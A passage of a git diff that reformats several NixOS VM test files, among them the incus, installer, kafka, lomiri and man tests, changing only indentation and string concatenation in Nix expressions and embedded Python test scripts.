-          # python
-          + ''
-            metadata = "${(images variant).virtual-machine.metadata}"
-            disk = "${(images variant).virtual-machine.disk}"
-            alias = "nixos/virtual-machine/${variant}"
-            variant = "${variant}"
+          cleanup()
+        ''
+      ) "" initVariants
+    )
+    + lib.optionalString canTestVm (
+      (lib.foldl (
+        acc: variant:
+        acc
+        # python
+        + ''
+          metadata = "${(images variant).virtual-machine.metadata}"
+          disk = "${(images variant).virtual-machine.disk}"
+          alias = "nixos/virtual-machine/${variant}"
+          variant = "${variant}"
 
-            with subtest("virtual-machine image can be imported"):
-                machine.succeed(f"incus image import {metadata} {disk} --alias {alias}")
+          with subtest("virtual-machine image can be imported"):
+              machine.succeed(f"incus image import {metadata} {disk} --alias {alias}")
 
 
-            with subtest("virtual-machine can be created"):
-                machine.succeed(f"incus create {alias} vm-{variant}1 --vm --config limits.memory=512MB --config security.secureboot=false")
+          with subtest("virtual-machine can be created"):
+              machine.succeed(f"incus create {alias} vm-{variant}1 --vm --config limits.memory=512MB --config security.secureboot=false")
 
 
-            with subtest("virtual-machine software tpm can be configured"):
-                machine.succeed(f"incus config device add vm-{variant}1 vtpm tpm path=/dev/tpm0")
+          with subtest("virtual-machine software tpm can be configured"):
+              machine.succeed(f"incus config device add vm-{variant}1 vtpm tpm path=/dev/tpm0")
 
 
-            with subtest("virtual-machine can be launched and become available"):
-                machine.succeed(f"incus start vm-{variant}1")
-                wait_for_instance(f"vm-{variant}1")
+          with subtest("virtual-machine can be launched and become available"):
+              machine.succeed(f"incus start vm-{variant}1")
+              wait_for_instance(f"vm-{variant}1")
 
 
-            with subtest("virtual-machine incus-agent is started"):
-                machine.succeed(f"incus exec vm-{variant}1 systemctl is-active incus-agent")
+          with subtest("virtual-machine incus-agent is started"):
+              machine.succeed(f"incus exec vm-{variant}1 systemctl is-active incus-agent")
 
 
-            with subtest("virtual-machine incus-agent has a valid path"):
-                machine.succeed(f"incus exec vm-{variant}1 -- bash -c 'true'")
+          with subtest("virtual-machine incus-agent has a valid path"):
+              machine.succeed(f"incus exec vm-{variant}1 -- bash -c 'true'")
 
 
-            with subtest("virtual-machine CPU limits can be managed"):
-                set_config(f"vm-{variant}1", "limits.cpu 1", restart=True)
-                wait_incus_exec_success(f"vm-{variant}1", "nproc | grep '^1$'", timeout=90)
+          with subtest("virtual-machine CPU limits can be managed"):
+              set_config(f"vm-{variant}1", "limits.cpu 1", restart=True)
+              wait_incus_exec_success(f"vm-{variant}1", "nproc | grep '^1$'", timeout=90)
 
 
-            with subtest("virtual-machine CPU limits can be hotplug changed"):
-                set_config(f"vm-{variant}1", "limits.cpu 2")
-                wait_incus_exec_success(f"vm-{variant}1", "nproc | grep '^2$'", timeout=90)
+          with subtest("virtual-machine CPU limits can be hotplug changed"):
+              set_config(f"vm-{variant}1", "limits.cpu 2")
+              wait_incus_exec_success(f"vm-{variant}1", "nproc | grep '^2$'", timeout=90)
 
 
-            with subtest("virtual-machine can successfully restart"):
-                machine.succeed(f"incus restart vm-{variant}1")
-                wait_for_instance(f"vm-{variant}1")
+          with subtest("virtual-machine can successfully restart"):
+              machine.succeed(f"incus restart vm-{variant}1")
+              wait_for_instance(f"vm-{variant}1")
 
 
-            with subtest("virtual-machine remains running when softDaemonRestart is enabled and service is stopped"):
-                pid = machine.succeed(f"incus info vm-{variant}1 | grep 'PID'").split(":")[1].strip()
-                machine.succeed(f"ps {pid}")
-                machine.succeed("systemctl stop incus")
-                machine.succeed(f"ps {pid}")
-                machine.succeed("systemctl start incus")
+          with subtest("virtual-machine remains running when softDaemonRestart is enabled and service is stopped"):
+              pid = machine.succeed(f"incus info vm-{variant}1 | grep 'PID'").split(":")[1].strip()
+              machine.succeed(f"ps {pid}")
+              machine.succeed("systemctl stop incus")
+              machine.succeed(f"ps {pid}")
+              machine.succeed("systemctl start incus")
 
 
-                with subtest("virtual-machines stop with incus-startup.service"):
-                    pid = machine.succeed(f"incus info vm-{variant}1 | grep 'PID'").split(":")[1].strip()
-                    machine.succeed(f"ps {pid}")
-                    machine.succeed("systemctl stop incus-startup.service")
-                    machine.wait_until_fails(f"ps {pid}", timeout=120)
-                    machine.succeed("systemctl start incus-startup.service")
+              with subtest("virtual-machines stop with incus-startup.service"):
+                  pid = machine.succeed(f"incus info vm-{variant}1 | grep 'PID'").split(":")[1].strip()
+                  machine.succeed(f"ps {pid}")
+                  machine.succeed("systemctl stop incus-startup.service")
+                  machine.wait_until_fails(f"ps {pid}", timeout=120)
+                  machine.succeed("systemctl start incus-startup.service")
 
 
-            cleanup()
-          ''
-        ) "" initVariants)
-        +
-          # python
-          ''
-            with subtest("virtual-machine can launch CSM (BIOS)"):
-                machine.succeed("incus init csm --vm --empty -c security.csm=true -c security.secureboot=false")
-                machine.succeed("incus start csm")
-
-
-            cleanup()
-          ''
-      )
+          cleanup()
+        ''
+      ) "" initVariants)
       +
-        lib.optionalString featureUser # python
-          ''
-            with subtest("incus-user allows restricted access for users"):
-                machine.fail("incus project show user-1000")
-                machine.succeed("su - testuser bash -c 'incus list'")
-                # a project is created dynamically for the user
-                machine.succeed("incus project show user-1000")
-                # users shouldn't be able to list storage pools
-                machine.fail("su - testuser bash -c 'incus storage list'")
+        # python
+        ''
+          with subtest("virtual-machine can launch CSM (BIOS)"):
+              machine.succeed("incus init csm --vm --empty -c security.csm=true -c security.secureboot=false")
+              machine.succeed("incus start csm")
 
 
-            with subtest("incus-user allows users to launch instances"):
-                machine.succeed("su - testuser bash -c 'incus image import ${(images "systemd").container.metadata} ${(images "systemd").container.rootfs} --alias nixos'")
-                machine.succeed("su - testuser bash -c 'incus launch nixos instance2'")
-                wait_for_instance("instance2", "user-1000")
-
-            cleanup()
-          ''
-      +
-        lib.optionalString networkOvs # python
-          ''
-            with subtest("Verify openvswitch bridge"):
-                machine.succeed("incus network info ovsbr0")
+          cleanup()
+        ''
+    )
+    +
+      lib.optionalString featureUser # python
+        ''
+          with subtest("incus-user allows restricted access for users"):
+              machine.fail("incus project show user-1000")
+              machine.succeed("su - testuser bash -c 'incus list'")
+              # a project is created dynamically for the user
+              machine.succeed("incus project show user-1000")
+              # users shouldn't be able to list storage pools
+              machine.fail("su - testuser bash -c 'incus storage list'")
 
 
-            with subtest("Verify openvswitch bridge"):
-                machine.succeed("ovs-vsctl br-exists ovsbr0")
-          ''
+          with subtest("incus-user allows users to launch instances"):
+              machine.succeed("su - testuser bash -c 'incus image import ${(images "systemd").container.metadata} ${(images "systemd").container.rootfs} --alias nixos'")
+              machine.succeed("su - testuser bash -c 'incus launch nixos instance2'")
+              wait_for_instance("instance2", "user-1000")
 
-      +
-        lib.optionalString storageZfs # python
-          ''
-            with subtest("Verify zfs pool created and usable"):
-                machine.succeed(
-                    "zpool status",
-                    "parted --script /dev/vdb mklabel gpt",
-                    "zpool create zfs_pool /dev/vdb",
-                )
+          cleanup()
+        ''
+    +
+      lib.optionalString networkOvs # python
+        ''
+          with subtest("Verify openvswitch bridge"):
+              machine.succeed("incus network info ovsbr0")
 
-                machine.succeed("incus storage create zfs_pool zfs source=zfs_pool/incus")
-                machine.succeed("zfs list zfs_pool/incus")
 
-                machine.succeed("incus storage volume create zfs_pool test_fs --type filesystem")
-                machine.succeed("incus storage volume create zfs_pool test_vol --type block")
+          with subtest("Verify openvswitch bridge"):
+              machine.succeed("ovs-vsctl br-exists ovsbr0")
+        ''
 
-                machine.succeed("incus storage show zfs_pool")
-                machine.succeed("incus storage volume list zfs_pool")
-                machine.succeed("incus storage volume show zfs_pool test_fs")
-                machine.succeed("incus storage volume show zfs_pool test_vol")
+    +
+      lib.optionalString storageZfs # python
+        ''
+          with subtest("Verify zfs pool created and usable"):
+              machine.succeed(
+                  "zpool status",
+                  "parted --script /dev/vdb mklabel gpt",
+                  "zpool create zfs_pool /dev/vdb",
+              )
 
-                machine.succeed("incus create zfs1 --empty --storage zfs_pool")
-                machine.succeed("incus list zfs1")
-          ''
+              machine.succeed("incus storage create zfs_pool zfs source=zfs_pool/incus")
+              machine.succeed("zfs list zfs_pool/incus")
 
-      +
-        lib.optionalString storageLvm # python
-          ''
-            with subtest("Verify lvm pool created and usable"):
-                machine.succeed("incus storage create lvm_pool lvm source=/dev/vdc lvm.vg_name=incus_pool")
-                machine.succeed("vgs incus_pool")
+              machine.succeed("incus storage volume create zfs_pool test_fs --type filesystem")
+              machine.succeed("incus storage volume create zfs_pool test_vol --type block")
 
-                machine.succeed("incus storage volume create lvm_pool test_fs --type filesystem")
-                machine.succeed("incus storage volume create lvm_pool test_vol --type block")
+              machine.succeed("incus storage show zfs_pool")
+              machine.succeed("incus storage volume list zfs_pool")
+              machine.succeed("incus storage volume show zfs_pool test_fs")
+              machine.succeed("incus storage volume show zfs_pool test_vol")
 
-                machine.succeed("incus storage show lvm_pool")
+              machine.succeed("incus create zfs1 --empty --storage zfs_pool")
+              machine.succeed("incus list zfs1")
+        ''
 
-                machine.succeed("incus storage volume list lvm_pool")
-                machine.succeed("incus storage volume show lvm_pool test_fs")
-                machine.succeed("incus storage volume show lvm_pool test_vol")
+    +
+      lib.optionalString storageLvm # python
+        ''
+          with subtest("Verify lvm pool created and usable"):
+              machine.succeed("incus storage create lvm_pool lvm source=/dev/vdc lvm.vg_name=incus_pool")
+              machine.succeed("vgs incus_pool")
 
-                machine.succeed("incus create lvm1 --empty --storage lvm_pool")
-                machine.succeed("incus list lvm1")
-          '';
+              machine.succeed("incus storage volume create lvm_pool test_fs --type filesystem")
+              machine.succeed("incus storage volume create lvm_pool test_vol --type block")
+
+              machine.succeed("incus storage show lvm_pool")
+
+              machine.succeed("incus storage volume list lvm_pool")
+              machine.succeed("incus storage volume show lvm_pool test_fs")
+              machine.succeed("incus storage volume show lvm_pool test_vol")
+
+              machine.succeed("incus create lvm1 --empty --storage lvm_pool")
+              machine.succeed("incus list lvm1")
+        '';
   }
 )
diff --git a/nixos/tests/inspircd.nix b/nixos/tests/inspircd.nix
index b3dc09dd7521..93ac6c92297d 100644
--- a/nixos/tests/inspircd.nix
+++ b/nixos/tests/inspircd.nix
@@ -13,44 +13,43 @@ import ./make-test-python.nix (
   { pkgs, lib, ... }:
   {
     name = "inspircd";
-    nodes =
-      {
-        "${server}" = {
-          networking.firewall.allowedTCPPorts = [ ircPort ];
-          services.inspircd = {
-            enable = true;
-            package = pkgs.inspircdMinimal;
-            config = ''
-              <bind address="" port="${toString ircPort}" type="clients">
-              <connect name="main" allow="*" pingfreq="15">
-            '';
-          };
+    nodes = {
+      "${server}" = {
+        networking.firewall.allowedTCPPorts = [ ircPort ];
+        services.inspircd = {
+          enable = true;
+          package = pkgs.inspircdMinimal;
+          config = ''
+            <bind address="" port="${toString ircPort}" type="clients">
+            <connect name="main" allow="*" pingfreq="15">
+          '';
         };
-      }
-      // lib.listToAttrs (
-        builtins.map (
-          client:
-          lib.nameValuePair client {
-            imports = [
-              ./common/user-account.nix
-            ];
+      };
+    }
+    // lib.listToAttrs (
+      builtins.map (
+        client:
+        lib.nameValuePair client {
+          imports = [
+            ./common/user-account.nix
+          ];
 
-            systemd.services.ii = {
-              requires = [ "network.target" ];
-              wantedBy = [ "default.target" ];
+          systemd.services.ii = {
+            requires = [ "network.target" ];
+            wantedBy = [ "default.target" ];
 
-              serviceConfig = {
-                Type = "simple";
-                ExecPreStartPre = "mkdir -p ${iiDir}";
-                ExecStart = ''
-                  ${lib.getBin pkgs.ii}/bin/ii -n ${client} -s ${server} -i ${iiDir}
-                '';
-                User = "alice";
-              };
+            serviceConfig = {
+              Type = "simple";
+              ExecPreStartPre = "mkdir -p ${iiDir}";
+              ExecStart = ''
+                ${lib.getBin pkgs.ii}/bin/ii -n ${client} -s ${server} -i ${iiDir}
+              '';
+              User = "alice";
             };
-          }
-        ) clients
-      );
+          };
+        }
+      ) clients
+    );
 
     testScript =
       let
diff --git a/nixos/tests/installed-tests/default.nix b/nixos/tests/installed-tests/default.nix
index f2cb02e66929..2dc0e850c066 100644
--- a/nixos/tests/installed-tests/default.nix
+++ b/nixos/tests/installed-tests/default.nix
@@ -50,7 +50,8 @@ let
             {
               imports = [
                 testConfig
-              ] ++ optional withX11 ../common/x11.nix;
+              ]
+              ++ optional withX11 ../common/x11.nix;
 
               environment.systemPackages = with pkgs; [ gnome-desktop-testing ];
 
diff --git a/nixos/tests/installer.nix b/nixos/tests/installer.nix
index 6c7b97d055bc..89ba355a9c84 100644
--- a/nixos/tests/installer.nix
+++ b/nixos/tests/installer.nix
@@ -1041,33 +1041,32 @@ let
           boot.supportedFilesystems = [ "zfs" ];
           environment.systemPackages = with pkgs; [ clevis ];
         };
-        createPartitions =
-          ''
-            installer.succeed(
-              "flock /dev/vda parted --script /dev/vda -- mklabel msdos"
-              + " mkpart primary ext2 1M 100MB"
-              + " mkpart primary linux-swap 100M 1024M"
-              + " mkpart primary 1024M -1s",
-              "udevadm settle",
-              "mkswap /dev/vda2 -L swap",
-              "swapon -L swap",
-          ''
-          + optionalString (!parentDataset) ''
-            "zpool create -O mountpoint=legacy rpool /dev/vda3",
-            "echo -n password | zfs create"
-            + " -o encryption=aes-256-gcm -o keyformat=passphrase rpool/root",
-          ''
-          + optionalString (parentDataset) ''
-            "echo -n password | zpool create -O mountpoint=none -O encryption=on -O keyformat=passphrase rpool /dev/vda3",
-            "zfs create -o mountpoint=legacy rpool/root",
-          ''
-          + ''
-            "mount -t zfs rpool/root /mnt",
-            "mkfs.ext3 -L boot /dev/vda1",
-            "mkdir -p /mnt/boot",
-            "mount LABEL=boot /mnt/boot",
-            "udevadm settle")
-          '';
+        createPartitions = ''
+          installer.succeed(
+            "flock /dev/vda parted --script /dev/vda -- mklabel msdos"
+            + " mkpart primary ext2 1M 100MB"
+            + " mkpart primary linux-swap 100M 1024M"
+            + " mkpart primary 1024M -1s",
+            "udevadm settle",
+            "mkswap /dev/vda2 -L swap",
+            "swapon -L swap",
+        ''
+        + optionalString (!parentDataset) ''
+          "zpool create -O mountpoint=legacy rpool /dev/vda3",
+          "echo -n password | zfs create"
+          + " -o encryption=aes-256-gcm -o keyformat=passphrase rpool/root",
+        ''
+        + optionalString (parentDataset) ''
+          "echo -n password | zpool create -O mountpoint=none -O encryption=on -O keyformat=passphrase rpool /dev/vda3",
+          "zfs create -o mountpoint=legacy rpool/root",
+        ''
+        + ''
+          "mount -t zfs rpool/root /mnt",
+          "mkfs.ext3 -L boot /dev/vda1",
+          "mkdir -p /mnt/boot",
+          "mount LABEL=boot /mnt/boot",
+          "udevadm settle")
+        '';
         extraConfig =
           optionalString (!parentDataset) ''
             boot.initrd.clevis.devices."rpool/root".secretFile = "/etc/nixos/clevis-secret.jwe";
diff --git a/nixos/tests/kafka/base.nix b/nixos/tests/kafka/base.nix
index 80121a722465..961511525cdd 100644
--- a/nixos/tests/kafka/base.nix
+++ b/nixos/tests/kafka/base.nix
@@ -15,75 +15,74 @@ let
         maintainers = [ nequissimus ];
       };
 
-      nodes =
-        {
-          kafka =
-            { ... }:
-            {
-              services.apache-kafka = mkMerge [
-                ({
-                  enable = true;
-                  package = kafkaPackage;
-                  settings = {
-                    "offsets.topic.replication.factor" = 1;
-                    "log.dirs" = [
-                      "/var/lib/kafka/logdir1"
-                      "/var/lib/kafka/logdir2"
-                    ];
-                  };
-                })
-                (mkIf (mode == "zookeeper") {
-                  settings = {
-                    "zookeeper.session.timeout.ms" = 600000;
-                    "zookeeper.connect" = [ "zookeeper1:2181" ];
-                  };
-                })
-                (mkIf (mode == "kraft") {
-                  clusterId = "ak2fIHr4S8WWarOF_ODD0g";
-                  formatLogDirs = true;
-                  settings = {
-                    "node.id" = 1;
-                    "process.roles" = [
-                      "broker"
-                      "controller"
-                    ];
-                    "listeners" = [
-                      "PLAINTEXT://:9092"
-                      "CONTROLLER://:9093"
-                    ];
-                    "listener.security.protocol.map" = [
-                      "PLAINTEXT:PLAINTEXT"
-                      "CONTROLLER:PLAINTEXT"
-                    ];
-                    "controller.quorum.voters" = [
-                      "1@kafka:9093"
-                    ];
-                    "controller.listener.names" = [ "CONTROLLER" ];
-                  };
-                })
-              ];
-
-              networking.firewall.allowedTCPPorts = [
-                9092
-                9093
-              ];
-              virtualisation.diskSize = 1024;
-              # i686 tests: qemu-system-i386 can simulate max 2047MB RAM (not 2048)
-              virtualisation.memorySize = 2047;
-            };
-        }
-        // optionalAttrs (mode == "zookeeper") {
-          zookeeper1 =
-            { ... }:
-            {
-              services.zookeeper = {
+      nodes = {
+        kafka =
+          { ... }:
+          {
+            services.apache-kafka = mkMerge [
+              ({
                 enable = true;
-              };
+                package = kafkaPackage;
+                settings = {
+                  "offsets.topic.replication.factor" = 1;
+                  "log.dirs" = [
+                    "/var/lib/kafka/logdir1"
+                    "/var/lib/kafka/logdir2"
+                  ];
+                };
+              })
+              (mkIf (mode == "zookeeper") {
+                settings = {
+                  "zookeeper.session.timeout.ms" = 600000;
+                  "zookeeper.connect" = [ "zookeeper1:2181" ];
+                };
+              })
+              (mkIf (mode == "kraft") {
+                clusterId = "ak2fIHr4S8WWarOF_ODD0g";
+                formatLogDirs = true;
+                settings = {
+                  "node.id" = 1;
+                  "process.roles" = [
+                    "broker"
+                    "controller"
+                  ];
+                  "listeners" = [
+                    "PLAINTEXT://:9092"
+                    "CONTROLLER://:9093"
+                  ];
+                  "listener.security.protocol.map" = [
+                    "PLAINTEXT:PLAINTEXT"
+                    "CONTROLLER:PLAINTEXT"
+                  ];
+                  "controller.quorum.voters" = [
+                    "1@kafka:9093"
+                  ];
+                  "controller.listener.names" = [ "CONTROLLER" ];
+                };
+              })
+            ];
 
-              networking.firewall.allowedTCPPorts = [ 2181 ];
-              virtualisation.diskSize = 1024;
+            networking.firewall.allowedTCPPorts = [
+              9092
+              9093
+            ];
+            virtualisation.diskSize = 1024;
+            # i686 tests: qemu-system-i386 can simulate max 2047MB RAM (not 2048)
+            virtualisation.memorySize = 2047;
+          };
+      }
+      // optionalAttrs (mode == "zookeeper") {
+        zookeeper1 =
+          { ... }:
+          {
+            services.zookeeper = {
+              enable = true;
             };
-        };
+
+            networking.firewall.allowedTCPPorts = [ 2181 ];
+            virtualisation.diskSize = 1024;
+          };
+      };
 
       testScript = ''
         start_all()
diff --git a/nixos/tests/kernel-rust.nix b/nixos/tests/kernel-rust.nix
index 27fd29353d4d..0b8ea5505ecd 100644
--- a/nixos/tests/kernel-rust.nix
+++ b/nixos/tests/kernel-rust.nix
@@ -46,20 +46,19 @@ let
       }
     );
 
-  kernels =
-    {
-      inherit (pkgs.linuxKernel.packages) linux_testing;
-    }
-    // filterAttrs (const (
-      x:
-      let
-        inherit (builtins.tryEval (x.rust-out-of-tree-module or null != null))
-          success
-          value
-          ;
-        available = meta.availableOn pkgs.stdenv.hostPlatform x.rust-out-of-tree-module;
-      in
-      success && value && available
-    )) pkgs.linuxKernel.vanillaPackages;
+  kernels = {
+    inherit (pkgs.linuxKernel.packages) linux_testing;
+  }
+  // filterAttrs (const (
+    x:
+    let
+      inherit (builtins.tryEval (x.rust-out-of-tree-module or null != null))
+        success
+        value
+        ;
+      available = meta.availableOn pkgs.stdenv.hostPlatform x.rust-out-of-tree-module;
+    in
+    success && value && available
+  )) pkgs.linuxKernel.vanillaPackages;
 in
 mapAttrs (const kernelRustTest) kernels
diff --git a/nixos/tests/kubernetes/base.nix b/nixos/tests/kubernetes/base.nix
index bc220654e168..6c6a5433f501 100644
--- a/nixos/tests/kubernetes/base.nix
+++ b/nixos/tests/kubernetes/base.nix
@@ -117,11 +117,10 @@ let
         ]
       ) machines;
 
-      testScript =
-        ''
-          start_all()
-        ''
-        + test;
+      testScript = ''
+        start_all()
+      ''
+      + test;
     };
 
   mkKubernetesMultiNodeTest =
diff --git a/nixos/tests/lomiri-gallery-app.nix b/nixos/tests/lomiri-gallery-app.nix
index 1f5638f39ba1..7fa7b355903f 100644
--- a/nixos/tests/lomiri-gallery-app.nix
+++ b/nixos/tests/lomiri-gallery-app.nix
@@ -98,77 +98,76 @@ let
 
         enableOCR = true;
 
-        testScript =
-          ''
-            machine.wait_for_x()
+        testScript = ''
+          machine.wait_for_x()
 
-            machine.succeed("mkdir /root/${builtins.dirOf file}")
-            machine.succeed("cp -vr /etc/${imageDataDir}/${file} /root/${builtins.dirOf file}")
+          machine.succeed("mkdir /root/${builtins.dirOf file}")
+          machine.succeed("cp -vr /etc/${imageDataDir}/${file} /root/${builtins.dirOf file}")
 
-            # Start thumbnailer, wait for idle shutdown
-            machine.systemctl("start dbus-com.lomiri.Thumbnailer", "root")
-            machine.wait_until_succeeds(
-                "env XDG_RUNTIME_DIR=/run/user/0 "
-                + "systemctl --user is-active dbus-com.lomiri.Thumbnailer"
-            )
-            machine.wait_for_console_text("thumbnail cache:")
+          # Start thumbnailer, wait for idle shutdown
+          machine.systemctl("start dbus-com.lomiri.Thumbnailer", "root")
+          machine.wait_until_succeeds(
+              "env XDG_RUNTIME_DIR=/run/user/0 "
+              + "systemctl --user is-active dbus-com.lomiri.Thumbnailer"
+          )
+          machine.wait_for_console_text("thumbnail cache:")
 
-            # Request thumbnail processing, get initial thumbnail image into cache
-            # This can randomly take abit longer, just run it until it succeeds
-            # Touch file to invalidate failure cache
-            machine.wait_until_succeeds(
-                "touch '/root/${file}' && "
-                + "env XDG_RUNTIME_DIR=/run/user/0 "
-                + "gdbus call -e "
-                + "-d com.lomiri.Thumbnailer -o /com/lomiri/Thumbnailer "
-                + "-m com.lomiri.Thumbnailer.GetThumbnail "
-                + "'/root/${file}' "
-                # Same size as source, to reduce processing - we're very close to hitting 20s on slow hardware here
-                + "'@(ii) (500,500)'"
-            )
+          # Request thumbnail processing, get initial thumbnail image into cache
+          # This can randomly take abit longer, just run it until it succeeds
+          # Touch file to invalidate failure cache
+          machine.wait_until_succeeds(
+              "touch '/root/${file}' && "
+              + "env XDG_RUNTIME_DIR=/run/user/0 "
+              + "gdbus call -e "
+              + "-d com.lomiri.Thumbnailer -o /com/lomiri/Thumbnailer "
+              + "-m com.lomiri.Thumbnailer.GetThumbnail "
+              + "'/root/${file}' "
+              # Same size as source, to reduce processing - we're very close to hitting 20s on slow hardware here
+              + "'@(ii) (500,500)'"
+          )
 
-            machine.wait_for_console_text("Idle timeout reached")
-            machine.wait_until_fails(
-                "env XDG_RUNTIME_DIR=/run/user/0 "
-                + "systemctl --user is-active dbus-com.lomiri.Thumbnailer"
-            )
+          machine.wait_for_console_text("Idle timeout reached")
+          machine.wait_until_fails(
+              "env XDG_RUNTIME_DIR=/run/user/0 "
+              + "systemctl --user is-active dbus-com.lomiri.Thumbnailer"
+          )
 
-            with subtest("lomiri gallery finds files"):
-                machine.succeed("lomiri-gallery-app >&2 &")
-                machine.wait_for_console_text("qq= AlbumsOverview") # logged when album page actually gets loaded
-                machine.sleep(10)
-                machine.send_key("alt-f10")
-                machine.sleep(5)
-                machine.wait_for_text(r"(Albums|Events|Photos|${imageLabel})")
+          with subtest("lomiri gallery finds files"):
+              machine.succeed("lomiri-gallery-app >&2 &")
+              machine.wait_for_console_text("qq= AlbumsOverview") # logged when album page actually gets loaded
+              machine.sleep(10)
+              machine.send_key("alt-f10")
+              machine.sleep(5)
+              machine.wait_for_text(r"(Albums|Events|Photos|${imageLabel})")
 
-                machine.succeed("xdotool mousemove 30 40 click 1") # burger menu for categories
-                machine.sleep(2)
-                machine.succeed("xdotool mousemove 30 180 click 1") # photos
-                machine.sleep(2)
-                machine.screenshot("lomiri-gallery_photos")
+              machine.succeed("xdotool mousemove 30 40 click 1") # burger menu for categories
+              machine.sleep(2)
+              machine.succeed("xdotool mousemove 30 180 click 1") # photos
+              machine.sleep(2)
+              machine.screenshot("lomiri-gallery_photos")
 
-            machine.succeed("xdotool mousemove 80 140 click 1") # select first one
-            machine.sleep(2)
-            machine.succeed("xdotool mousemove 80 140 click 1") # enable top-bar
-            machine.sleep(2)
+          machine.succeed("xdotool mousemove 80 140 click 1") # select first one
+          machine.sleep(2)
+          machine.succeed("xdotool mousemove 80 140 click 1") # enable top-bar
+          machine.sleep(2)
 
-          ''
-          + (
-            if (customTest != null) then
-              customTest
-            else
-              ''
-                with subtest("lomiri gallery handles ${format}"):
-                    machine.succeed("xdotool mousemove ${
-                      if buttonIsOffset then "900" else "940"
-                    } 50 click 1") # open media information
-                    machine.sleep(2)
-                    machine.screenshot("lomiri-gallery_${format}_info")
-                    machine.send_key("esc")
-                    machine.sleep(2)
-                    machine.wait_for_text("${imageLabel}") # make sure media shows fine
-              ''
-          );
+        ''
+        + (
+          if (customTest != null) then
+            customTest
+          else
+            ''
+              with subtest("lomiri gallery handles ${format}"):
+                  machine.succeed("xdotool mousemove ${
+                    if buttonIsOffset then "900" else "940"
+                  } 50 click 1") # open media information
+                  machine.sleep(2)
+                  machine.screenshot("lomiri-gallery_${format}_info")
+                  machine.send_key("esc")
+                  machine.sleep(2)
+                  machine.wait_for_text("${imageLabel}") # make sure media shows fine
+            ''
+        );
 
       }
     );
diff --git a/nixos/tests/lomiri-music-app.nix b/nixos/tests/lomiri-music-app.nix
index 9efff85fee20..7424847b3794 100644
--- a/nixos/tests/lomiri-music-app.nix
+++ b/nixos/tests/lomiri-music-app.nix
@@ -59,15 +59,13 @@ in
             (lib.meta.hiPrio (
               suru-icon-theme.overrideAttrs (oa: {
                 # Colour the background in special colours, which we can OCR for
-                postPatch =
-                  (oa.postPatch or "")
-                  + ''
-                    substituteInPlace suru/actions/scalable/media-playback-pause.svg \
-                      --replace-fail 'fill:none' 'fill:${ocrPauseColor}'
+                postPatch = (oa.postPatch or "") + ''
+                  substituteInPlace suru/actions/scalable/media-playback-pause.svg \
+                    --replace-fail 'fill:none' 'fill:${ocrPauseColor}'
 
-                    substituteInPlace suru/actions/scalable/media-playback-start.svg \
-                      --replace-fail 'fill:none' 'fill:${ocrStartColor}'
-                  '';
+                  substituteInPlace suru/actions/scalable/media-playback-start.svg \
+                    --replace-fail 'fill:none' 'fill:${ocrStartColor}'
+                '';
               })
             ))
           ]);
diff --git a/nixos/tests/man.nix b/nixos/tests/man.nix
index 5155fcbe055a..ebdf00a4f5f1 100644
--- a/nixos/tests/man.nix
+++ b/nixos/tests/man.nix
@@ -21,19 +21,18 @@ let
       enable = true;
       nixos.enable = lib.mkForce true;
       dev.enable = true;
-      man =
-        {
-          enable = true;
-          generateCaches = true;
-        }
-        // lib.listToAttrs (
-          builtins.map (impl: {
-            name = impl;
-            value = {
-              enable = useImpl == impl;
-            };
-          }) manImplementations
-        );
+      man = {
+        enable = true;
+        generateCaches = true;
+      }
+      // lib.listToAttrs (
+        builtins.map (impl: {
+          name = impl;
+          value = {
+            enable = useImpl == impl;
+          };
+        }) manImplementations
+      );
     };
   };
 
@@ -50,60 +49,59 @@ in
     }) manImplementations
   );
 
-  testScript =
-    ''
-      import re
-      start_all()
+  testScript = ''
+    import re
+    start_all()
 
-      def match_man_k(page, section, haystack):
-        """
-        Check if the man page {page}({section}) occurs in
-        the output of `man -k` given as haystack. Note:
-        This is not super reliable, e. g. it can't deal
-        with man pages that are in multiple sections.
-        """
+    def match_man_k(page, section, haystack):
+      """
+      Check if the man page {page}({section}) occurs in
+      the output of `man -k` given as haystack. Note:
+      This is not super reliable, e. g. it can't deal
+      with man pages that are in multiple sections.
+      """
 
-        for line in haystack.split("\n"):
-          # man -k can look like this:
-          # page(3) - bla
-          # page (3) - bla
-          # pagea, pageb (3, 3P) - foo
-          # pagea, pageb, pagec(3) - bar
-          pages = line.split("(")[0]
-          sections = re.search("\\([a-zA-Z1-9, ]+\\)", line)
-          if sections is None:
-            continue
-          else:
-            sections = sections.group(0)[1:-1]
+      for line in haystack.split("\n"):
+        # man -k can look like this:
+        # page(3) - bla
+        # page (3) - bla
+        # pagea, pageb (3, 3P) - foo
+        # pagea, pageb, pagec(3) - bar
+        pages = line.split("(")[0]
+        sections = re.search("\\([a-zA-Z1-9, ]+\\)", line)
+        if sections is None:
+          continue
+        else:
+          sections = sections.group(0)[1:-1]
 
-          if page in pages and f'{section}' in sections:
-            return True
+        if page in pages and f'{section}' in sections:
+          return True
 
-        return False
+      return False
 
-    ''
-    + lib.concatMapStrings (machine: ''
-      with subtest("Test direct man page lookups in ${machine}"):
-        # man works
-        ${machine}.succeed("man man > /dev/null")
-        # devman works
-        ${machine}.succeed("man 3 libunwind > /dev/null")
-        # NixOS configuration man page is installed
-        ${machine}.succeed("man configuration.nix > /dev/null")
+  ''
+  + lib.concatMapStrings (machine: ''
+    with subtest("Test direct man page lookups in ${machine}"):
+      # man works
+      ${machine}.succeed("man man > /dev/null")
+      # devman works
+      ${machine}.succeed("man 3 libunwind > /dev/null")
+      # NixOS configuration man page is installed
+      ${machine}.succeed("man configuration.nix > /dev/null")
 
-      with subtest("Test generateCaches via man -k in ${machine}"):
-        expected = [
-          ("openssl", "ssl", 3),
-          ("unwind", "libunwind", 3),
-          ("user", "useradd", 8),
-          ("user", "userdel", 8),
-          ("mem", "free", 3),
-          ("mem", "free", 1),
-        ]
+    with subtest("Test generateCaches via man -k in ${machine}"):
+      expected = [
+        ("openssl", "ssl", 3),
+        ("unwind", "libunwind", 3),
+        ("user", "useradd", 8),
+        ("user", "userdel", 8),
+        ("mem", "free", 3),
+        ("mem", "free", 1),
+      ]
 
-        for (keyword, page, section) in expected:
-          matches = ${machine}.succeed(f"man -k {keyword}")
-          if not match_man_k(page, section, matches):
-            raise Exception(f"{page}({section}) missing in matches: {matches}")
-    '') machineNames;
+      for (keyword, page, section) in expected:
+        matches = ${machine}.succeed(f"man -k {keyword}")
+        if not match_man_k(page, section, matches):
+          raise Exception(f"{page}({section}) missing in matches: {matches}")
+  '') machineNames;
 }
diff --git a/nixos/tests/mattermost/default.nix b/nixos/tests/mattermost/default.nix
index 4cb9845df880..7bcba871e640 100644
